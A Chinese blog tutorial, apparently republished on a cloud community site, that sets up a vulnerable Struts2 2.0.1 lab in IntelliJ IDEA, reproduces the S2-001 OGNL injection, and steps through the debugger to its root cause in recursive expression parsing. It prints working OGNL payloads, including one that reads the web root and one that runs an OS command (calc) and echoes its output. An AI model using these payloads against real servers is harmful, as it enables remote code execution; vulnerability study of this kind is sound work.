专栏首页卓文见识IDEA动态调试(一)——OGNL表达式注入(S2-001)

IDEA动态调试(一)——OGNL表达式注入(S2-001)

一、环境搭建:

首先在IDEA中搭建调试环境,File-New-Java Enterprise,选择Web Application:

然后构造项目,这里使用现成的Demo代码:

依次新建web.xml:

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">    <display-name>S2-001 Example</display-name>    <filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>    </filter>    <filter-mapping>        <filter-name>struts2</filter-name>        <url-pattern>/*</url-pattern>    </filter-mapping>    <welcome-file-list>        <welcome-file>index.jsp</welcome-file>    </welcome-file-list></web-app>

前端代码,登录页面index.jsp和登录成功的welcome.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login">  <s:textfield name="username" label="username" />  <s:textfield name="password" label="password" />  <s:submit></s:submit></s:form></body></html>
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>

src中新建com.demo.action包,后端处理代码LoginAction.java:

package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {    private String username = null;    private String password = null;    public String getUsername() {        return this.username;    }
    public String getPassword() {        return this.password;    }
    public void setUsername(String username) {        this.username = username;    }
    public void setPassword(String password) {        this.password = password;    }
    public String execute() throws Exception {        if ((this.username.isEmpty()) || (this.password.isEmpty())) {            return "error";        }        if ((this.username.equalsIgnoreCase("admin"))                && (this.password.equals("admin"))) {            return "success";        }        return "error";    }}

并在src目录下新建struts.xml:

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="S2-001" extends="struts-default">        <action name="login" class="com.demo.action.LoginAction">            <result name="success">welcome.jsp</result>            <result name="error">index.jsp</result>        </action>    </package></struts>

最后在web目录下新建lib目录,放进所需的四个调用jar包,struts包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip并在File—Project Structure—Dependencies—“+” 号—JARs将jar包导入:

最后将IDEA连接本地搭建好的Tomcat服务器,Run-EditConfigurations,配置tomcat安装地址及JRE:

二、攻击效果复现:

点击Run之后,进入搭建的环境,系统是在password字段触发的,首先在这里输入%{2+3}:

按代码逻辑,提交后若账号密码错误会将输入打印,发现password被解析:2+3的结果5:

进一步进行攻击,输入payload,如获取web目录:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意代码RCE:

%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

三、动态调试

这才到了本文的重点,了解OGNL注入的漏洞原理及触发过程以及动态调试的相关知识。S2-001的漏洞原理是在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。我们以Debug方式运行环境:

在此之前需下一断点,系统在运行在这里的地方会停住,在点击Submit,http请求经过tomcat容器的处理之后会到达struts2,所以可以从这里开始调试,ParametersInterceptor类接受我们输入的参数值进行处理:

开启Debug后,输入payload后submit,程序在断点处停下,可观察此时堆栈的情况:

下断点的方法有很多,和二进制逆向的方法类似,下断点的目的是帮助我们定位到关键处理。下断点之后的另一个工作就是调试,主要用的Step into(F7)——遇到方法会进入,和Step over(F8)——不跟进方法内部。

这里也可以在自定义类LoginAction里下断点:

从调用栈中可以看到,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction

最终都会到达TextParseUtil类,在此处下断点,程序会进入几次,循环将变量转换为对象,所以expression不一样:

读取jsp标签并通过UIBean解析,这里可以Step over直到解析到标签的值:

经过XWorkConverter后expression的值变为%{password}:

由于没有验证,输入%{2+3}被当做表达式进行解析,将解析结果取出继续在while中循环解析,由于结果2不满足表达式规则,将其返回为最终结果。

总结一下,漏洞的根因出现在XWork中ognl表达式的解析方法为递归解析。其他漏洞的动态调试方法也大概如此,后续总结。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi),作者:Jayway

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Struts2 连载系列:S2-001漏洞分析

    关于Struts2漏洞出现到现在,网上很多大佬已经发表过分析此系列漏洞的优秀文章。这些文献足以为我们了解struts漏洞提供足够的参考。但为什么还要写这篇文章呢...

    用户2202688
  • struts2架构网站漏洞修复详情与利用漏洞修复方案

    struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被攻击者挖掘出...

    技术分享达人
  • ognl与struts2漏洞的学习

    Struts2这个框架每年都会出现那么几个漏洞,不得不引起斗哥学习的兴趣。本期将从Struts2的一个罪魁祸首ONGL表达式开始介绍到S2-001漏洞的分析。S...

    漏斗社区
  • 内含POC丨漏洞复现之S2-061(CVE-2020-17530)

    本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表...

    Gcow安全团队
  • S2-059_RCE_CVE-2019-0230

    2020年12月8日,Apache官方发布安全公告称Apache Struts2修复了一处ONGL表达式执行的安全漏洞(S2-061),据相关安全人员披露该漏洞...

    Al1ex
  • S2-061_RCE_CVE-2020-17530

    Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{p...

    Al1ex
  • Apache Struts2 Remote Code Execution (S2-046)

    风流
  • 安恒信息研究员发现Struts 2高危漏洞,Apache官方致谢

    ApacheStruts 2是世界上最流行的Java Web服务器框架之一。不久之前,安恒信息风暴中心安全研究员在Struts 2上发现了一枚远程代码执行漏洞,...

    安恒信息
  • s2-029 Apache Struts2 标签远程代码执行分析

    >>>> 标签介绍 Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码...

    安恒信息
  • Apache Struts2 Remote Code Execution (S2-053)

    风流
  • S2-045 原理初步分析(CVE-2017-5638)

    0x00 漏洞公告 请看https://cwiki.apache.org/confluence/display/WW/S2-045 这个漏洞应该后续会有官方详细...

    Seebug漏洞平台
  • 【漏洞通告】Apache Struts远程代码执行漏洞S2-061(CVE-2020-17530)

    2020年12月8日,Struts官方发布安全通告,披露了一个远程代码执行漏洞S2-061(CVE-2020-17530)。该漏洞与S2-059类似,问题源于当...

    绿盟科技安全情报
  • 【Arthas】命令之ognl使用姿势

    还不了解Arthas怎么安装启动的可以翻阅 【Arthas】初始Arthas,安装使用 本文所有的执行命令,可以把项目 Althas(阿尔萨斯)学习 拉到本地...

    石臻臻的杂货铺[同名公众号]
  • Java开发框架必会Struts2第三天

    今天的内容全都是重点 一、Struts2中的拦截器(特别重要) 1、拦截器的重要性 Struts2中的很多功能都是由拦截器完成的。比如:servletConfi...

    Java帮帮
  • 快速学习-Thymeleaf快速入门

    以前大家用的比较多的是Freemarker,但是我们今天的主角是Thymeleaf!

    cwl_java
  • struts2(六)之ognl表达式与ActionContext、ValueStack

    前言   前面已经把struts2讲内容说了一半了,我写的很详细,希望对博友们有帮助。 一、OGNL表达式语言概述 1.1、OGNL表达式简介   百度上是这样...

    用户1195962
  • Struts2【OGNL、ValueStack】

    什么是OGNL表达式? OGNL是Object Graphic Navigation Language 是操作对象属性的开源表达式。 Struts2框架使用OG...

    Java3y
  • Ognl 使用实例手册

    上一篇博文介绍了ongl的基础语法,接下来进入实际的使用篇,我们将结合一些实际的case,来演示ognl究竟可以支撑到什么地步

    一灰灰blog
  • 分表:没有Sharding-JDBC,你还有Mybatis!

    这里,我也写过两篇文章关于《SpringBoot入门建站全系列(二十四)使用Sharding-JDBC进行分库分表》和《Spring整合Sharding-JDB...

    品茗IT

扫码关注云+社区

领取腾讯云代金券